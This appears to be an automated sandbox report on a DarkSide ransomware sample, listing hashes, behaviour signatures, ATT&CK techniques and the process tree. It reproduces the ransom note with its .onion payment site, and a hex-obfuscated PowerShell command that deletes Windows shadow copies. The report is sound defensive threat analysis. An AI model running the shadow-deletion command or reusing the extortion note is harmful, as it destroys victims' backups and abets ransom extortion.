Analysis

  • max time kernel
    1773s
  • max time network
    1785s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13-09-2022 17:54

General

  • Target

    RansomwareSamples/DarkSide_01_05_2021_30KB.exe

  • Size

    30KB

  • MD5

    f00aded4c16c0e8c3b5adfc23d19c609

  • SHA1

    86ca4973a98072c32db97c9433c16d405e4154ac

  • SHA256

    4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

  • SHA512

    a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

  • SSDEEP

    768:lXnIczxCbTRNl71wHpZQgYI1TQPB3aYJEOW:hIMxCXd1+pZQgYIxk3vJE

Malware Config

Extracted

Path

C:\\README.8c94de27.TXT

Family

darkside

Ransom Note
----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!
URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

  • DarkSide

    Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.

  • Modifies extensions of user files 16 IoCs

    Ransomware generally changes the extension on encrypted files.

  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Modifies Control Panel 1 IoCs
  • Modifies registry class 5 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe
    "C:\Users\Admin\AppData\Local\Temp\RansomwareSamples\DarkSide_01_05_2021_30KB.exe"
    1⤵
    • Modifies extensions of user files
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
  • C:\Windows\system32\vssvc.exe
    C:\Windows\system32\vssvc.exe
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1844

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Modify Registry

1
T1112

Credential Access

Credentials in Files

1
T1081

Collection

Data from Local System

1
T1005

Impact

Defacement

1
T1491

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    556084f2c6d459c116a69d6fedcc4105

    SHA1

    633e89b9a1e77942d822d14de6708430a3944dbc

    SHA256

    88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

    SHA512

    0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    d336b18e0e02e045650ac4f24c7ecaa7

    SHA1

    87ce962bb3aa89fc06d5eb54f1a225ae76225b1c

    SHA256

    87e250ac493525f87051f19207d735b28aa827d025f2865ffc40ba775db9fc27

    SHA512

    e538e4ecf771db02745061f804a0db31f59359f32195b4f8c276054779509eaea63665adf6fedbb1953fa14eb471181eb085880341c7368330d8c3a26605bb18

  • memory/764-132-0x0000000000200000-0x0000000000217000-memory.dmp
    Filesize

    92KB

  • memory/764-133-0x0000000000200000-0x0000000000217000-memory.dmp
    Filesize

    92KB

  • memory/764-140-0x0000000000200000-0x0000000000217000-memory.dmp
    Filesize

    92KB

  • memory/3208-134-0x0000000000000000-mapping.dmp
  • memory/3208-135-0x000001C467B10000-0x000001C467B32000-memory.dmp
    Filesize

    136KB

  • memory/3208-136-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmp
    Filesize

    10.8MB

  • memory/3208-137-0x00007FFE1B640000-0x00007FFE1C101000-memory.dmp
    Filesize

    10.8MB